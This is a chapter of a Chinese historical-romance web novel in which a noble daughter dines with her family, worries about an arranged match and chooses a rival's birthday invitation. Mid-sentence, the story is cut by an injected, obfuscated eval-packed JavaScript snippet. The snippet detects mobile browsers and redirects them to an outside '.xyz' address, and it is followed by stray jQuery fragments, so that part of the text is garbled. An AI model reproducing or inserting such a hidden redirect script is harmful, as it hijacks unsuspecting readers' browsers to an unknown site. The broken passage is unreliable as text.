及至晚饭时分，大嫂二嫂一前一后来了丛筠堂，伍姑姑笑着上前迎了迎，让人去小厨房那边说了一声，吩咐丫头们在西次间放桌摆饭。
暮色四合，丛筠堂内早早地掌起了灯，门前屋内俱是亮堂堂的，恍若白昼。四五个丫头迈着碎步从小厨房取来食盒，将饭食碗箸摆置得齐齐整整。
沈纤慈心里搁着事儿，坐在玫瑰椅上，手臂搭着扶手，脚下有一搭没一搭地轻踢椅子腿，也幸亏是那条柳黄色挑线缕金裙足够宽大，才没教人瞧出她那不合规矩的小动作。
此时沈纤慈可谓是坐立难安，若不是偶然间偷听壁角，她还不知道祖父生前竟然给她定过一桩亲事，而且听爹娘那意思，大有旧事重提之意，这可真真是害死人了！
一个不知道打哪儿来的乡巴佬要娶她，沈纤慈极其迅速且凝炼地得出结论，光是这般一想，就是哪哪都不得劲儿了。
至于为何是乡巴佬，那是因为在沈大小姐眼里，凡是京师之外的地界都可以此称之，最要紧的是，这是她所知道的骂人话里最具蔑视意味的词儿。
一团乱麻的思绪尚未理出头绪，忽听二嫂孙氏在旁问道：“四姐儿，今儿这是怎么了？好半天没听你开口，在想什么呢？”
“没什么。”沈纤慈口中敷衍着，抬起鸦羽般的眼睫，觑了一眼冯夫人，见冯夫人正跟大嫂说话，并没有留意这头，这才松了口气。
虽说她心里犹如百爪挠心，也没直接去找冯夫人问个清楚，一来是出于女儿家的矜持，对自己的亲事过于热衷，势必要惹人嘲笑，虽然她觉得这没什么不对，但总归不成体统，二来她还有一层不足为外人道也的隐秘心思，怕一时冲动，反而要打草惊蛇，因此种种，倒也暂且按捺了下来。
那孙氏却是个喜好察言观色的，不仅爱琢磨事，也爱琢磨人，此刻见沈纤慈这般神色，愈发确定心中猜测，当即低声说道：“四姐儿，跟二嫂还有什么不能说的，可是为着陈嬷嬷那事闷闷不乐？唉，你也不要太放在心上，娘最疼的就是你，即使为那些不相干的人说了你，那也是替你着想。何必自降身份跟那等奴仆计较，若是那婆子再不识抬举，你尽管跟二嫂说，二嫂替你整治她。”
孙氏未出嫁前也是大家子出身的千金小姐，又加上心思玲珑，会来事儿，在一干姐妹里颇受宠爱，后来嫁到这镇西侯府，才知道除了上头的公婆长辈，她这个小姑子也是惹不得，动不得的。
陈嬷嬷那件事，孙氏一早就有耳闻，依她看来，冯夫人把陈嬷嬷放在府里，多半是想磨一磨四姐儿的性子，陈嬷嬷是宫里老人，即使要倚老卖老，也不至于那般没眼力见，可见是明白太太的用意，才会有此底气。
孙氏存有私心，并不把话跟沈纤慈讲明白，反倒跟其同仇敌忾起来，言语间满是关切之情，好似全然为其着想，但细细想来，又仿佛隐隐带有挑拨之意。
沈纤慈微微偏头，金葫芦耳坠子从雪白的颈子上划过，“二嫂说的是，我犯不着跟那等人计较，二嫂也不必为我出头，娘既看重她，想必是有其过人之处，不看僧面看佛面，看在娘的面子上，给她几分薄面也没什么。”
孙氏好似一拳打在棉花上，牟足了力，却险些闪着自个儿的腰，眼里闪过一丝愕然，她这小姑子什么时候这般通情达理了。
孙氏哪里知道，沈纤慈此刻的心思全不在此，陈嬷嬷虽然惹人厌恶，但只要不在她跟前待着，碍不着她的事，她管她是哪根葱。
倒是二嫂好像把她当成了傻子，真以为她什么都听不出来似的。
“你们在这儿说什么体己话呢？”大嫂崔氏笑着走来，轻轻拉起沈纤慈打量道，“方才我就想说了，这身衣裙裁制得真是别致，四姐儿穿着这身衣裳，跟春日里的迎春花似的，直教人移不开眼。”
孙氏收敛心神，不甘落于人后，巧笑道：“大嫂这话说得可不对，哪里是衣裳剪裁得别致，分明是人生得美，不信换个人穿来试试，怕就不是这般韵味了。”
沈纤慈毫不谦虚地亭亭而立，任由两个嫂嫂对她从头夸到脚，还提了提裙子好让她们看得更清楚些，那副略带得意的模样，真教人想去捏捏她的脸蛋儿。
冯夫人看得好笑，朝她招了招手。
沈纤慈立马走过去，跟着冯夫人一道走进西次间落座。
晚饭已经摆好，四菜一汤，鹌子水晶脍，酱爆鸡丁，腌鲜鳜鱼，鸡蓉莼菜，并一道竹荪火腿鸭汤，并不如何铺张，做法却极为讲究，光是那道竹荪火腿鸭汤，就不知用了多少鸡鸭来吊汤头，看起来汤色清淡，味道却十分浓郁。
崔氏和孙氏在旁伺候用饭，因冯夫人有食不言寝不语的规矩，一顿饭吃得悄然无声。
沈纤慈早已习惯两位嫂嫂在旁伺候用饭，今日因着那番偷听来的对话，触动了她的心思，倒是多瞧了她们几眼。敢情嫁了人就得这般伺候公婆，连用饭都得侍立在旁，这跟丫鬟有何不同。
孙氏见沈纤慈抬头来瞧她，只当她还未饱腹，便又给她舀了小半碗粳米粥。
沈纤慈捏着汤匙叹了口气，惹得冯夫人朝她瞥来一眼。
晚饭过后，沈纤慈回到秾华院，连忙叫青雀儿把近日送来的请帖都给她找出来。
半个月没出府门，请帖却收了不少，积攒了厚厚一沓。京城里三日一小宴，五日一大宴，真要挨个赴宴，累也要把人累死了。
沈纤慈每次收到请帖后，都会先挑选一二，再决定去或不去。
且不论收到请帖的一方来或不来，请帖是一定要送到的，否则便是自家失了礼数，尤其是在贵女圈子里，谁都不愿给人落下话柄，因此下贴子时都务必求个面面俱到。
沈纤慈从一沓请帖里不断翻拣着，瞧瞧这个不行，看看那个也不对，如此挑挑拣拣，才从一沓请帖中，挑出了一张薛涛笺。
云官儿在旁边看着，见姑娘挑选了这么久
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415683|168781||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，终于选出一张请帖，也忙伸头瞧了一眼，待看清下帖人家，忍不住提醒道：“姑娘，这是何二姑娘下的帖子。”您是不是拿错了。
不怪云官儿如此惊讶，实在是因为沈纤慈一向瞧不上这位何二姑娘，但凡是何二姑娘攒起的局，从来都不屑出席，这会儿怎么又单单挑出了这张请帖。
“这请帖别是送错了吧？”云官儿迟疑地说道，她们姑娘跟何二姑娘向来不对付，便是给各家下帖子都会绕开对方，这还是头一遭收到何二姑娘下的帖子呢。
“喏，这不是写得清清楚楚么。”沈纤慈把请帖往桌上一搁，指尖轻轻点了点，何婧瑶的生辰，她是真不愿去捧场，没得给她脸了，可近来也确实没有更合适的场合了。
云官儿直愣愣地问道： “这何二姑娘怎么会给咱们姑娘下帖子啊？”
还是青雀儿想了想，说道：“听说何家的大姑娘今年刚刚晋封了淑妃，很得皇上宠爱。”
一时间主仆三人似乎找到了缘由，这是朝她摆威风来了。
沈纤慈又把剩下的请帖翻看了一遍，轻声一哼，最后决定给何婧瑶一个显摆机会。
次日，沈纤慈拿着请帖去寻冯夫人。
冯夫人看了两眼，开口说道：“你什么时候跟何家姑娘这般要好了？”
“一直都挺好的。”沈纤慈为了能顺利出府，只好捏着鼻子认下这个好友，“娘，人家都下帖子请我了，我不能不去啊。盛情难却，若是再推辞不去，她们保不准就要在背后说我坏话了。”
冯夫人原本就不太拘着沈纤慈，不过是看她前些日子不太像话，才让她在府里静静心，此刻把帖子递还给她，只吩咐道：“去可以，别回来太晚了。”
沈纤慈如蒙大赦，当即点头应下，回到院里，就让青雀儿云官儿去准备那天要穿戴的衣裳首饰。
“姑娘，那日要给何姑娘送什么生辰贺礼呢？”青雀儿问道。
沈纤慈恍然道：“我倒把这事儿给忘了，还好有你提醒我。”
记得准备衣裳首饰，却连给对方送贺礼都能忘记，姑娘这是得多不上心啊，不过她们姑娘本就跟何姑娘没什么交情可言。
沈纤慈想了一下，随意地说道： “把那匣子馥香斋的胭脂水粉当贺礼好了。”
馥香斋是京里的老字号脂粉铺子，最有名的就是他们家的香粉，香气雅致怡人，粉质细腻温润，敷在脸上，不仅不易脱粉，还有滋润美白之效，很受京中贵妇追捧。
姑娘家庆贺芳辰，贺礼不必太贵重，更讲求个心意，以金银相送，那就流于俗气了，因此沈纤慈这匣子胭脂水粉其实是很拿得出手的。
青雀儿总觉得何姑娘不会喜欢这份贺礼，虽说何二姑娘生得也是秀丽端正，可唯独鼻子周边生了一丛斑点，不管用脂粉如何遮掩，都能瞧出痕迹，姑娘送何姑娘一匣子胭脂水粉，也不知是送到对方心坎里，还是戳到对方的心窝子上。